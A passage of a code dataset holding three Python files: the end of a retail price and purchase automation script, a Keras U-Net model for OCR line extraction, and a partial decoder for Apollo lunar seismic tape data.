year, c['assortment_code'], c['selling'])\n            else:\n\n                update_data.update_weekly_price(system, year, week, c['assortment_code'], c['selling'])\n        enter_virtual_purchase(virtual_purchase_order_id)\n\n\n\n\nsystem = 'f2_canada_real'\n\n# price = input(\"what is the price\")\n# #\n# try:\n#     assortment = add_article()\n# except:\n#     assortment = lots.get_lot_info_assortment()\n#\n# for week in range(12,54):\n#     update_data.update_weekly_price(system,2020,week, assortment['assortment_code'], price)\n\n# while True:\n#     add_article()\n#     keyboard.f12()\n#     input('next')\n#     time.sleep(.1)\n\nfilename = r'D:/mday2020/mother2020.xlsx'\na = make_list_from_file(system, filename, 259)\nprint(a)\n\n# # set_prices(system, assortment_code,year, 10, 54, price)\n#\n# # for i in range(100):\n# #     window_text = underline_item('06-03-20', False)\n# #     time.sleep(.1)\n#\n# startweek = 14\n# endweek = 15\n#\n# supplier_code = 'CAGOLF'\n# purchase_day = 'Monday'\n# to_day = 'Saturday'\n# offer_end = {'day': 'Friday', 'hour': 9, 'minute': 0, 'advance_weeks': 1}\n#\n# # assortment_code, quantity, packing, fob, landed, virtual_purchase_order_id, entered=False\n# # purcases = [\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfaspid', 'quantity': 10, 'packing': 20, 'fob': '1.20', 'landed': '1.20', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #     {'assortment_code': 'cgfleath', 'quantity': 10, 'packing': 20, 'fob': '1.75', 'landed': '1.75', 'entered': False},\n# #\n# # ]\n#\n#\n# topurchases = [\n#     {'assortment_code': 'ealassfa0', 'quantity': 10, 'packing': '100', 'fob': '.3', 'landed': '.3', 'selling': '.89'},\n#     {'assortment_code': 'ealasper02', 'quantity': 10, 'packing': '100', 'fob': '.3', 'landed': '.3', 'selling': '1.29'},\n#     {'assortment_code': 'cabastHBst', 'quantity': 20, 'packing': '400', 'fob': '.3', 'landed': '.2', 'selling': '.43'},\n#     {'assortment_code': 'cabasfHBfy', 'quantity': 20, 'packing': '350', 'fob': '.3', 'landed': '.2', 'selling': '.45'},\n#     {'assortment_code': 'missoliw0', 'quantity': 20, 'packing': '12', 'fob': '3.00', 'landed': '.2', 'selling': '8.99'},\n# ]\n# year = 2020\n# add_weekly_items(system, year, startweek, endweek, supplier_code, purchase_day, to_day, offer_end, topurchases,)\n#\n# # for i in range(20):\n# #     print(i, purchases[i])\n# #     print()\n# # for i in range(20):\n# #     input('start')\n# #     item = {}\n# #     time.sleep(.2)\n# #     window.drag_window()\n# #     item['assortment_code'] = lots.get_lot_info_assortment()\n# #     item['quantity'] = 20\n# #     item['packing'] = input('Packing')\n# #     item['fob'] = input('fob')\n# #     item['landed'] = item['fob']\n# #     item['selling'] = input('selling')\n# #     purchases.append(item)\n#\n#\n# # easter_list(31, system, datetime.datetime(year=2020, month=4, day=3), quantity, packing)\n# # data = []\n# # for i in range(26, 28):\n# #     data.extend(get_data.get_virtual_purchases_from_order(i))\n# #\n# # prices = set()\n# # for d in data:\n# #     print(d)\n# #     assortment_code = d[1]\n# #     price = d[-3]\n# #     prices.add(price)\n# #\n# # for p in prices:\n# #     print(p, float(p) * 1.7)\n# #\n# # from decimal import Decimal\n# #\n# # new_prices = {Decimal('1.07'): '1.79', Decimal('0.89'): '1.49', Decimal('1.39'): '2.29', Decimal('0.85'): '1.49',\n# #               Decimal('1.35'): '2.29', Decimal('0.92'): '1.59', Decimal('1.38'): '2.39', Decimal('1.45'): '22.49',\n# #               Decimal('0.77'): '1.29', Decimal('2.84'): '4.89', Decimal('1.05'): '1.79', Decimal('0.80'): '1.39',\n# #               Decimal('1.26'): '2.19', Decimal('0.83'): '1.39', Decimal('1.15'): '1.99', Decimal('1.22'): '2.09',\n# #               Decimal('1.29'): '2.19', Decimal('0.86'): '1.49', Decimal('1.18'): '1.99'}\n# #\n# # for d in data:\n# #     price = new_prices[d[-3]]\n# #     assortment_code = d[1]\n# #     week = 19\n# #     year = 2020\n# #     if not get_data.check_assortment_price(assortment_code, week, year, system):\n# #         insert_data.insert_weekly_price(system, week, year, assortment_code, price)\n# #     else:\n# #         print(price)\n# #         update_data.update_weekly_price(system, year, week, assortment_code, price)\n#\n#\n# # for p in prices:\n# #     print (p)\n# #     n = input(float(p) * 1.7)\n# #     new_prices[p] = n\n# #\n# # print(new_prices)\n#\n# # import time\n# # window.drag_window()\n# # for i in range(20):\n# #     keyboard.f11(3)\n# # #     keyboard.command('down')\n# # #     time.sleep(.01)\n# #\n# # same  = 0\n# # window_text = 'start'\n# # while True:\n# #     old_text = window_text\n# #     window_text = underline_item('28-02-20')\n# #     if old_text == window_text:\n# #         same += 1\n# #     else:\n# #         same = 0\n# #     if same > 3:\n# #         break\n# #     time.sleep(.1)\n# #\n# quantity = 10\n# packing = 20\n#\n# assortment_code = 'hycfancy6w'\n# price = 3.2\n# year = 2020\n#\n# print(\"lisi\")\n# codes = make_list(quantity, packing)\n#\n# # easter_list(id, system, datetime.datetime(year=2020, month=4, day=3), quantity, packing)\n#\n# #\n# # offer_end = {'day': 'Wednesday', 'hour': 16, 'minute': 30, 'advance_weeks': 1}\n# # add_weekly_items(system, year, 15, 16, 'CAGOLF', 'Monday', 'Saturday', offer_end, codes)\n#zmake_list_from_file(system, r'D:/weekly/ecuador_11.xlsx', 261)","repo_name":"Trafire/f2_auto_complete","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":14615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16549794915","text":"import os\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import Adam\nimport tensorflow as tf\nimport keras\nimport itertools\nimport numpy as np\nfrom keras.callbacks import Callback\nfrom sklearn.metrics import confusion_matrix, f1_score, precision_score, recall_score\nimport tensorflow as tf\nfrom keras.backend import tensorflow_backend as K\n\n\nclass Metrics(Callback):\n    def on_train_begin(self, logs={}):\n        self.val_f1s = []\n        self.val_recalls = []\n        self.val_precisions = []\n\n    def on_epoch_end(self, epoch, logs={}):\n        val_predict = (np.asarray(self.model.predict(self.model.validation_data[0]))).round()\n        val_targ = self.model.validation_data[1]\n        _val_f1 = f1_score(val_targ, val_predict)\n        _val_recall = recall_score(val_targ, val_predict)\n        _val_precision = precision_score(val_targ, val_predict)\n        self.val_f1s.append(_val_f1)\n        self.val_recalls.append(_val_recall)\n        self.val_precisions.append(_val_precision)\n        print('--val_f1: %.4f --val_precision: %.4f --val_recall: %.4f' % (_val_f1, _val_precision, _val_recall))\n        # return _val_f1, _val_precision, _val_recall\n        return\n\n\ndef loss(y_true, y_pred):\n    return tf.nn.weighted_cross_entropy_with_logits(y_true, y_pred, 2)\n\n\ndef binary_PFA(y_true, y_pred, threshold=K.variable(value=0.5)):\n    y_pred = K.cast(y_pred >= threshold, 'float32')\n    # N = total number of negative labels\n    N = K.sum(1 - y_true)\n    # FP = total number of false alerts, alerts from the negative class labels\n    TN = K.sum((1 - y_pred) * (1 - y_true))\n    return TN / N\n\n\ndef binary_PTA(y_true, y_pred, threshold=K.variable(value=0.5)):\n    y_pred = K.cast(y_pred >= threshold, 'float32')\n    # P = total number of positive labels\n    P = K.sum(y_true)\n    # TP = total number of correct alerts, alerts from the positive class labels\n    TP = K.sum(y_pred * y_true)\n    return TP / P\n\n\ndef f1(y_true, y_pred):\n    def recall(y_true, y_pred):\n        \"\"\"Recall metric.\n\n        Only computes a batch-wise average of recall.\n\n        Computes the recall, a metric for multi-label classification of\n        how many relevant items are selected.\n        \"\"\"\n        true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n        possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\n        recall = true_positives / (possible_positives + K.epsilon())\n        return recall\n\n    def precision(y_true, y_pred):\n        \"\"\"Precision metric.\n\n        Only computes a batch-wise average of precision.\n\n        Computes the precision, a metric for multi-label classification of\n        how many selected items are relevant.\n        \"\"\"\n        true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n        predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\n        precision = true_positives / (predicted_positives + K.epsilon())\n        return precision\n\n    precision = precision(y_true, y_pred)\n    recall = recall(y_true, y_pred)\n    return 2 * ((precision * recall) / (precision + recall + K.epsilon()))\n\ndef unet(pretrained_weights=None, input_size=(None, None, 3),num_class=2):\n    inputs = Input(input_size)\n    conv1 = Conv2D(32, (7, 1), activation='relu', padding='same', kernel_initializer='he_normal')(inputs)\n\n    conv1 = BatchNormalization(momentum=0.9)(conv1)\n    conv1 = Conv2D(32, (1, 7), activation='relu', padding='same', kernel_initializer='he_normal')(conv1)\n    pool1 = MaxPooling2D(pool_size=(2, 2))(conv1)\n\n    conv2 = BatchNormalization(momentum=0.9)(pool1)\n    conv2 = Conv2D(64, (5, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv2)\n    conv2 = BatchNormalization(momentum=0.9)(conv2)\n    conv2 = Conv2D(64, (1, 5), activation='relu', padding='same', kernel_initializer='he_normal')(conv2)\n    pool2 = MaxPooling2D(pool_size=(2, 2))(conv2)\n\n    conv3 = BatchNormalization(momentum=0.9)(pool2)\n    conv3 = Conv2D(256, (5, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv3)\n    conv3 = BatchNormalization(momentum=0.9)(conv3)\n    conv3 = Conv2D(256, (1, 5), activation='relu', padding='same', kernel_initializer='he_normal')(conv3)\n    drop3 = Dropout(0.5)(conv3)\n    pool3 = AveragePooling2D(pool_size=(2, 2))(drop3)\n\n    # conv4 = BatchNormalization(momentum=0.9)(pool3)\n    # conv4 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal')(conv4)\n    # conv4 = BatchNormalization(momentum=0.9)(conv4)\n    # conv4 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal')(conv4)\n    # drop4 = Dropout(0.5)(conv4)\n    # pool4 = MaxPooling2D(pool_size=(2, 2))(drop4)\n\n    conv5 = BatchNormalization(momentum=0.9)(pool3)\n    conv5 = Conv2D(512, (5, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv5)\n    conv5 = BatchNormalization(momentum=0.9)(conv5)\n    conv5 = Conv2D(512, (1, 5), activation='relu', padding='same', kernel_initializer='he_normal')(conv5)\n    drop5 = Dropout(0.5)(conv5)\n\n    up6 = Conv2D(256, 2, activation='relu', padding='same', kernel_initializer='he_normal')(\n        UpSampling2D(size=(2, 2))(drop5))\n\n    merge6 = concatenate([drop3, up6], axis=3)\n    conv6 = BatchNormalization(momentum=0.9)(merge6)\n    conv6 = Conv2D(256, (5, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv6)\n    conv6 = BatchNormalization(momentum=0.9)(conv6)\n    conv6 = Conv2D(256, (5, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv6)\n\n    up7 = Conv2D(64, 2, activation='relu', padding='same', kernel_initializer='he_normal')(\n        UpSampling2D(size=(2, 2))(conv6))\n    merge7 = concatenate([conv2, up7], axis=3)\n    conv7 = BatchNormalization(momentum=0.9)(merge7)\n    conv7 = Conv2D(64, (5, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv7)\n    conv7 = BatchNormalization(momentum=0.9)(conv7)\n    conv7 = Conv2D(64, (1, 5), activation='relu', padding='same', kernel_initializer='he_normal')(conv7)\n    conv7 = BatchNormalization(momentum=0.9)(conv7)\n\n    up8 = Conv2D(32, 2, activation='relu', padding='same', kernel_initializer='he_normal')(\n        UpSampling2D(size=(2, 2))(conv7))\n    merge8 = concatenate([conv1, up8], axis=3)\n    conv8 = BatchNormalization(momentum=0.9)(merge8)\n    conv8 = Conv2D(32, (7, 1), activation='relu', padding='same', kernel_initializer='he_normal')(conv8)\n    conv8 = BatchNormalization(momentum=0.9)(conv8)\n    conv8 = Conv2D(32, (1, 7), activation='relu', padding='same', kernel_initializer='he_normal')(conv8)\n    conv8 = BatchNormalization(momentum=0.9)(conv8)\n    # up9 = Conv2D(64, 2, activation='relu', padding='same', kernel_initializer='he_normal')(\n    #     UpSampling2D(size=(2, 2))(conv8))\n    # merge9 = concatenate([conv1, up9], axis=3)\n    # conv9 = BatchNormalization(momentum=0.9)(merge9)\n    # conv9 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal')(conv9)\n    # conv9 = BatchNormalization(momentum=0.9)(conv9)\n    # conv9 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal')(conv9)\n    # conv9 = BatchNormalization(momentum=0.9)(conv9)\n    # conv9 = Conv2D(num_class, 3, activation='relu', padding='same', kernel_initializer='he_normal')(conv9)\n    # conv9 = BatchNormalization(momentum=0.9)(conv9)\n    if num_class == 2:\n        conv10 = Conv2D(1, 1, activation='sigmoid')(conv8)\n        loss_function = 'binary_crossentropy'\n    else:\n        conv10 = Conv2D(num_class, 1, activation='relu')(conv8)\n        loss_function = 'mse'\n\n    model = Model(input=inputs, output=conv10)\n    model.compile(optimizer=Adam(lr=1e-4), loss=loss_function, metrics=['accuracy'])\n    # model.compile(optimizer=Adam(lr=1e-4), loss=loss, metrics=[binary_PTA, binary_PFA])\n    model.summary()\n\n    if (pretrained_weights):\n        model.load_weights(pretrained_weights)\n    return model","repo_name":"dun933/ocr","sub_path":"line_extract/model_v3.py","file_name":"model_v3.py","file_ext":"py","file_size_in_byte":7908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"40309319444","text":"from __future__ import (absolute_import, division, print_function,\n                        unicode_literals)\nfrom future.builtins import *  # NOQA\n\nfrom bitstring import BitArray, BitStream, Bits, ConstBitStream, ReadError\nfrom obspy.core.utcdatetime import UTCDateTime\nimport csv\n# from datetime import timedelta\nimport os\n# import io\nimport gzip\nimport glob\nimport pandas as pd\nimport logging, logging.handlers\n\nstation_dict =\t{\n  1: 'S12',\n  2: 'S15',\n  3: 'S16',\n  4: 'S14',\n  5: 'S17'}\n\n# import glob\n# import numpy as np\n# import numpy.ma as ma\n\n# import csv\n# import fnmatch\n# import shutil\n\n# from obspy.core.utcdatetime import UTCDateTime\n# from obspy.core import Stream, Trace, Stats, read\n#\n# global DELTA\n# DELTA = 0.15094\n# INVALID = -99999\n\n\n# /Users/nunn/lunar_data/JAXA_CSV :grep \",15,\" 1971-07-31T18:00:00.csv | head\n# 8,15,9,1,1971-07-31 18:52:00.269000,1023,1023,1023\n# 8,15,9,2,1971-07-31 18:52:00.420000,1023,1023,1023\n# 8,15,9,3,1971-07-31 18:52:00.571000,1023,1023,1023\n# 8,15,9,4,1971-07-31 18:52:00.722000,1023,1023,1023\n# 9,15,9,1,1971-07-31 18:52:00.873000,1023,1023,1023\n# 9,15,9,2,1971-07-31 18:52:01.024000,1023,1023,1023\n# 9,15,9,3,1971-07-31 18:52:01.175000,1023,1023,1023\n# 9,15,9,4,1971-07-31 18:52:01.326000,1023,1023,1023\n# 10,15,9,1,1971-07-31 18:52:01.476000,1023,1023,1023\n# 10,15,9,2,1971-07-31 18:52:01.627000,1023,1023,1023\n\n\n# 1971-08-01T18:52:00.269000Z 8 9\n# 1023 1023 1023\n# 1023 1023 1023\n# 1023 1023 1023\n# 1023 1023 1023\n\n# def call_raw_import(\n#     csv_dir='.',\n#     raw_dir='.',\n#     start_time=UTCDateTime('1969-07-21T03:00:00.000000Z'),\n#     end_time=UTCDateTime('1977-09-30T:21:00.000000Z'),\n#     write_gzip=True):\n#     '''\n#     Makes 'raw' stream files from gzipped csv files.\n#     It works for all stations and all channels.\n#     Calls raw_import()\n#     '''\n#\n#     time_interval = timedelta(hours=3)\n#     start = start_time\n#\n#     while start < end_time:\n#\n#         # find csv gzip importfile  with the start time\n#         csv_file_gzip = '%s.csv.gz' % start.strftime(\"%Y-%m-%dT%H:%M:%S\")\n#         csv_file_gzip = os.path.join(csv_dir, csv_file_gzip)\n#\n#         # import the stream from the gzipped file\n#         stream = raw_import(csv_file_gzip)\n#\n#         if len(stream) > 0:\n#\n#             stations = []\n#             for tr in stream:\n#                 stations.append(tr.stats.station)\n#             stations = list(set(stations))\n#\n#             for station in stations:\n#                 station_stream = stream.select(station=station)\n#\n#                 channels = []\n#                 for tr in station_stream:\n#                     channels.append(tr.stats.channel)\n#                 channels = list(set(channels))\n#\n#                 for channel in channels:\n#                     channel_stream = station_stream.select(channel=channel)\n'''\nLong Word \tBits \tData\n1\t0 \tsoftware time flag (set at JSC for clock substitution)\n1\t1-31 \t31msb of 35-bit time of the year in ms\n2\t0-3 \t4lsb of 35-bit time of the year in ms\n2\t4-7 \tALSEP tracking station ID\n2\t8-13 \tbit error rate (from original tape)\n2\t14 \tdata rate (1=1060bps, 0=530bps)\n2\t15-21 \tnot used\nFor Old Format\n2\t22-31\tALSEP word 5\n3-18\t0-9\tALSEP words 1,4,9,12,16,22,26,29,33,36,40,43,46,52,58,61\n3-18\t11-20\tALSEP words 2,6,10,13,18,24,27,30,34,37,41,44,48,54,59,62\n3-18\t22-31\tALSEP words 3,8,11,14,20,25,28,32,35,38,42,45,50,57,60,64\n3-18\t10,21\tnot used\nFor New Format\n2\t22-31\tnot used\n3-8\t0-9\tALSEP words 1,9,25,33,41,46\n3-8\t11-20\tALSEP words 2,11,27,35,43,57\n3-8\t22-31\tALSEP words 3,13,29,37,45,59\n3-8\t10,21\tnot used\n9\t0-9\tALSEP word 61\n9\t10-31\tnot used\n'''\n\ndef year_corrections(filename,year):\n    '''\n    The following files have an incorrect year specified\n    '''\n    file_list = [\n        'pse.a12.10.91.gz',\n        'pse.a12.10.92.gz',\n        'pse.a12.10.93.gz',\n        'pse.a12.10.94.gz',\n        'pse.a12.10.95.gz',\n        'pse.a12.10.97.gz',\n        'pse.a12.10.98.gz',\n        'pse.a12.10.102.gz',\n        'pse.a12.10.103.gz',\n        'pse.a12.10.104.gz',\n        'pse.a12.10.106.gz',\n        'pse.a12.10.107.gz',\n        'pse.a12.10.108.gz',\n        'pse.a12.10.109.gz',\n        'pse.a12.10.111.gz']\n\n    if os.path.basename(filename) in file_list:\n        year = 1976\n        print('Year corrected for ', filename, year)\n\n    file_list = [\n        'pse.a14.8.112.gz']\n\n    if os.path.basename(filename) in file_list:\n        year = 1974\n        print('Year corrected for ', filename, year)\n\n    return year\n\ndef binary_import_main_tapes(filename, out_filename_gz,\n    log_filename='logs/binary.log',\n    logging_level=logging.INFO):\n    '''\n    Long Word \tBits \tData\n    1\t0 \tsoftware time flag (set at JSC for clock substitution)\n    1\t1-31 \t31msb of 35-bit time of the year in ms\n    2\t0-3 \t4lsb of 35-bit time of the year in ms\n    2\t4-7 \tALSEP tracking station ID\n    2\t8-13 \tbit error rate (from original tape)\n    2\t14 \tdata rate (1=1060bps, 0=530bps)\n    2\t15-21 \tnot used\n    For Old Format\n    2\t22-31\tALSEP word 5\n    3-18\t0-9\tALSEP words 1,4,9,12,16,22,26,29,33,36,40,43,46,52,58,61\n    3-18\t11-20\tALSEP words 2,6,10,13,18,24,27,30,34,37,41,44,48,54,59,62\n    3-18\t22-31\tALSEP words 3,8,11,14,20,25,28,32,35,38,42,45,50,57,60,64\n    3-18\t10,21\tnot used\n    For New Format\n    2\t22-31\tnot used\n    3-8\t0-9\tALSEP words 1,9,25,33,41,46\n    3-8\t11-20\tALSEP words 2,11,27,35,43,57\n    3-8\t22-31\tALSEP words 3,13,29,37,45,59\n    3-8\t10,21\tnot used\n    9\t0-9\tALSEP word 61\n    9\t10-31\tnot used\n    '''\n\n    logging.basicConfig(filename=log_filename, filemode='w', level=logging_level)\n\n    # read the data as gzipped data\n    in_file = gzip.GzipFile(filename, 'rb')\n    gzipped_data = in_file.read()\n    in_file.close()\n\n    # Note difference - try the 0 in the ground station\n    ground_stations_all = set(range(0,15))\n    ground_stations = set()\n    year = None\n\n    # # open the output file\n    # with gzip.open(out_filename_gz, 'wt') as f:\n    #     writer = csv.writer(f)\n    #     writer.writerow(HEADER)\n\n    # open the BitStream from the file, into fixed-length chunks\n    # of 72*8*270+(16*8) bits\n\n    dict_list = []\n    count_ground_station0 = 0\n\n    chunks = ConstBitStream(gzipped_data).cut(155648)\n    # if you need the files unzipped\n    # chunks = ConstBitStream(filename=filename).cut(155648)\n\n    # # for testing, view just a few chunks\n    # import itertools\n    # chunks = itertools.islice(chunks, 10)\n\n    for s in chunks:\n\n        # read the header\n        tape = s.read(16).int\n        station = s.read(16).int\n        # tape_seq =  s.read(16).int\n        # 5-6 original tape sequence number for PSE tapes; 2-digit station code plus 3-digit\n        s.read(16).int\n        record_no =  s.read(16).int\n        year1 =  s.read(16).int\n        # check this at the beginning of the file\n        if year is None:\n            # some years are not specified correctly\n            year = year_corrections(filename,year1)\n        new_format =  s.read(16).int\n        # if new_format == 1:\n        #     print('Using new format', filename)\n            # return []\n        phys_rec =  s.read(16).int\n        read_flag = s.read(1).int\n        extra_read_flags =  s.read(15).int\n\n        # print(tape, station, record_no, year, new_format, phys_rec, read_flags)\n# 1 15 10844 1 1971 0 3 0\n        # s.pos = 128 bits\n\n        # print(station, year)\n        # 15 1971\n        # print(tape, tape_seq, record_no, new_format, phys_rec, read_flags)\n        # 1 10844 1 0 3 0\n\n        try:\n            if new_format == 1:\n                while True:\n                    # read in long words 1 and 2\n                    clock_flag = s.read(1).uint\n                    time = s.read(35).uint\n\n                    # the time is miliseconds after the beginning of the year\n                    # but with the first record at 86400 seconds\n                    utcDateTime = UTCDateTime(year=year,julday=1)+time/1000-86400.\n\n                    ground_station = s.read(4).uint\n                    bit_error_rate= s.read(6).uint\n                    data_rate = s.read(1).uint\n\n                    if time != 0:\n                        ground_stations.add(ground_station)\n\n                    if ground_station not in ground_stations_all:\n                        ground_station = pd.NA\n\n                    s.read(7) # unused\n                    s.read(10) # unused\n                    # s.pos = 192 bits\n\n                    word1 = s.read(10) # word1\n                    s.read(1)  # not used\n                    word2 = s.read(10) # word2\n                    s.read(1)  # not used\n                    word3 = s.read(10) # word3\n\n                    sync = word1 + word2 + word3[0:2]\n                    sync = sync.bin\n                    frame = word3[2:9].uint\n                    mode_bit = word3[9:10].uint\n\n                    mh1_1 = s.read(10).uint # word9\n                    s.read(1)  # not used\n                    mh2_1 = s.read(10).uint # word11\n                    s.read(1)  # not used\n                    mhz_1 = s.read(10).uint # word13\n\n                    mh1_2 = s.read(10).uint # word25\n                    s.read(1)  # not used\n                    mh2_2 = s.read(10).uint # word27\n                    s.read(1)  # not used\n                    mhz_2 = s.read(10).uint # word29\n\n                    s.read(10) # word33\n                    s.read(1)  # not used\n                    s.read(10).uint # word35\n                    s.read(1)  # not used\n                    s.read(10) # word37\n\n                    mh1_3 = s.read(10).uint # word41\n                    s.read(1)  # not used\n                    mh2_3 = s.read(10).uint # word43\n                    s.read(1)  # not used\n                    mhz_3 = s.read(10).uint # word45\n\n                    word_46 = s.read(10)\n                    # command1 = s.read(7).uint # word46, command (bits 3 - 9)\n                    # map1 = s.read(1).uint # word46, map (bit 10)\n                    s.read(1)  # not used\n                    mh1_4 = s.read(10).uint # word57\n                    s.read(1)  # not used\n                    mh2_4 = s.read(10).uint # word59\n\n                    mhz_4 = s.read(10).uint # word61\n                    s.read(22)  # not used\n\n                    # row = [record_no,frame,str(utcDateTime),clock_flag,frame,str(utcDateTime),station,ground_station,mh1_1,mh2_1,mhz_1,mh1_2,mh2_2,mhz_2, mh1_3,mh2_3,mhz_3, mh1_4,mh2_4,mhz_4]\n                    # # write the record to the file if it is valid\n                    # # if time != 0:\n                    # #     writer.writerow(row)\n                    # print('new')\n                    # print(row)\n\n                    # word46 used for SHZ at S14, and for command and \n                    # map at the other stations\n                    if station == 14:\n                        command1 = word5[2:9].uint\n                        map1 = word5[9:10].uint\n                    else:\n                        command1 = word_46[2:9].uint\n                        map1 = word_46[9:10].uint\n    \n\n                    dict = {\n                      'orig_no' : record_no,\n                      'orig_timestamp' : str(utcDateTime),\n                      'orig_frame' : 0, # no longer used\n                      'orig_station' : station,\n                      'clock_flag' : clock_flag,\n                      'orig_ground_station' : ground_station,\n                      'orig_mh1_1' : mh1_1,\n                      'orig_mh2_1' : mh2_1,\n                      'orig_mhz_1' : mhz_1,\n                      'orig_mh1_2': mh1_2,\n                      'orig_mh2_2' : mh2_2,\n                      'orig_mhz_2' : mhz_2, \n                      'orig_mh1_3' : mh1_3,\n                      'orig_mh2_3' : mh2_3,\n                      'orig_mhz_3' : mhz_3, \n                      'orig_mh1_4' : mh1_4,\n                      'orig_mh2_4' : mh2_4,\n                      'orig_mhz_4' : mhz_4,\n\n                      # 'bit_synchronizer' : bit_synchronizer,\n                      'frame' : frame,\n                      'sync' : sync,\n                      'bit_synchronizer' : read_flag, \n\n                      'command' : command1,\n                      'map' : map1,\n                      'data_rate' : data_rate\n                    }\n\n                    dict_list.append(dict)\n\n                    # break when the physical record has been read\n                    if s.pos == 155648:\n                        break\n            else: # old format\n                while True:\n                    # read in long words 1 and 2\n                    clock_flag = s.read(1).uint\n                    time = s.read(35).uint\n\n                    # the time is miliseconds after the beginning of the year\n                    # but with the first record at 86400 seconds\n                    utcDateTime = UTCDateTime(year=year,julday=1)+time/1000-86400\n\n                    ground_station = s.read(4).uint\n                    bit_error_rate= s.read(6).uint\n                    data_rate = s.read(1).uint\n\n                    if time != 0:\n                        ground_stations.add(ground_station)\n\n                    # print(time, clock_flag, ground_station)\n\n                    s.read(7) # unused\n                    word5 = s.read(10) # word5\n                    # s.pos = 192 bits\n\n                    word1 = s.read(10) # word1\n                    s.read(1)  # not used\n                    word2 = s.read(10) # word2\n                    s.read(1)  # not used\n                    word3 = s.read(10) # word3\n\n                    sync = word1 + word2 + word3[0:2]\n                    sync = sync.bin\n                    frame = word3[2:9].uint\n                    mode_bit = word3[9:10].uint\n\n                    # SHZ all even except 2, 46, 56*\n\n                    shz_4 = s.read(10).uint # word4\n                    # word 5 is already read above\n                    s.read(1)  # not used\n                    shz_6 = s.read(10).uint # word6\n                    s.read(1)  # not used\n                    shz_8 = s.read(10).uint # word8\n\n                    mh1_1 = s.read(10).uint # word9\n                    s.read(1)  # not used\n                    shz_10 = s.read(10).uint # word10\n                    s.read(1)  # not used\n                    mh2_1 = s.read(10).uint # word11\n\n                    shz_12 = s.read(10).uint # word12\n                    s.read(1)  # not used\n                    mhz_1 = s.read(10).uint # word13\n                    s.read(1)  # not used\n                    shz_14 = s.read(10).uint # word14\n\n                    shz_16 = s.read(10).uint # word16\n                    s.read(1)  # not used\n                    shz_18 = s.read(10).uint # word18\n                    s.read(1)  # not used\n                    shz_20 = s.read(10).uint # word20\n\n                    shz_22 = s.read(10).uint # word22\n                    s.read(1)  # not used\n                    shz_24 = s.read(10).uint # word24\n                    s.read(1)  # not used\n                    mh1_2 = s.read(10).uint # word25\n\n                    shz_26 = s.read(10).uint # word26\n                    s.read(1)  # not used\n                    mh2_2 = s.read(10).uint # word27\n                    s.read(1)  # not used\n                    shz_28 = s.read(10).uint # word28\n\n                    mhz_2 = s.read(10).uint # word29\n                    s.read(1)  # not used\n                    shz_30 = s.read(10).uint # word30\n                    s.read(1)  # not used\n                    shz_32 = s.read(10).uint # word32\n\n                    s.read(10) # word33\n                    s.read(1)  # not used\n                    shz_34 = s.read(10).uint # word34\n                    s.read(1)  # not used\n                    s.read(10) # word35\n\n                    shz_36 = s.read(10).uint # word36\n                    s.read(1)  # not used\n                    s.read(10) # word37\n                    s.read(1)  # not used\n                    shz_38 = s.read(10).uint # word38\n\n                    shz_40 = s.read(10).uint # word40\n                    s.read(1)  # not used\n                    mh1_3 = s.read(10).uint # word41\n                    s.read(1)  # not used\n                    shz_42 = s.read(10).uint # word42\n\n                    mh2_3 = s.read(10).uint # word43\n                    s.read(1)  # not used\n                    shz_44 = s.read(10).uint # word44\n                    s.read(1)  # not used\n                    mhz_3 = s.read(10).uint # word45\n\n                    # s.read(2) # word46 first 2 bit\n                    # command1 = s.read(7).uint # word46, command\n                    # map1 = s.read(1).uint # word46, map\n                    # word46 used for SHZ at S14, and for command and \n                    # map at the other stations\n                    word_46 = s.read(10)\n                    s.read(1)  # not used\n                    shz_48 = s.read(10).uint # word48\n                    s.read(1)  # not used\n                    shz_50 = s.read(10).uint # word50\n\n\n\n                    shz_52 = s.read(10).uint # word52\n                    s.read(1)  # not used\n                    shz_54 = s.read(10).uint # word54\n                    s.read(1)  # not used\n                    mh1_4 = s.read(10).uint # word57\n\n                    shz_58 = s.read(10).uint # word58\n                    s.read(1)  # not used\n                    mh2_4 = s.read(10).uint # word59\n                    s.read(1)  # not used\n                    shz_60 = s.read(10).uint # word60\n\n                    mhz_4 = s.read(10).uint # word61\n                    s.read(1)  # not used\n                    shz_62 = s.read(10).uint # word62\n                    s.read(1)  # not used\n                    shz_64 = s.read(10).uint # word64\n\n\n                    # word46 used for SHZ at S14, and for command and \n                    # map at the other stations\n                    if station == 14:\n                        shz_46 = word_46.uint\n                        command1 = word5[2:9].uint\n                        map1 = word5[9:10].uint\n                    else:\n                        